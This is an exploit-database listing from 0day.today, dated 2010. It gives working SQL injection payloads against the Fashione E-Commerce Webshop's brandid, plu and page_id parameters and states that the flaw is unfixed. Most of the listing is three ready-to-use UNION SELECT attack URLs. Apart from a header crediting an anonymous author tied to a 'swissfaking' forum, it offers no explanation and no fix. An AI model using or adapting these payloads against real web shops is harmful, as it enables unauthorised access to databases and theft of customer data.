Fashione E-Commerce Webshop Multiple SQL Injection Vulnerabilities

2010-09-20T00:00:00
ID 1337DAY-ID-14121
Type zdt
Reporter secret
Modified 2010-09-20T00:00:00

Description

Exploit for php platform in category web applications

                                        
                                            ==================================================================
Fashione E-Commerce Webshop Multiple SQL Injection Vulnerabilities
==================================================================

# Exploit Title: Fashione E-Commerce Webshop Multiple SQL Injection Vulnerabilities
# Date: 2010-09-19
# Author: secret
# Contact : [email protected] / ICQ : 17-33-77
# Site : swissfaking.net/board
# Software Link: http://www.fashione.co.uk/
# Version: All versions so far
# Tested on: XP
 
# Fixed? : NOT FIXED
 
----------------------------------------------------------------------------
 
[Multiple SQL Injection Vulnerabilities] "brandid=" / "plu=" / "page_id="
 
e.g. http://server/index.php?page_id=-1+and+1=0+Union+Select+[VISIBLE],2,3,4
 
e.g. http://server/index.php?page_id=prod&brandid=248&brand_name=LUKE 1977&plu=0001246502+and+1=0+Union+Select+[VISIBLE],2,3,4
 
e.g. http://server/index.php?page_id=prod&brandid=248+and+1=0+Union+Select+[VISIBLE],2,3,4
 
################################################################################################



#  0day.today [2018-01-04]  #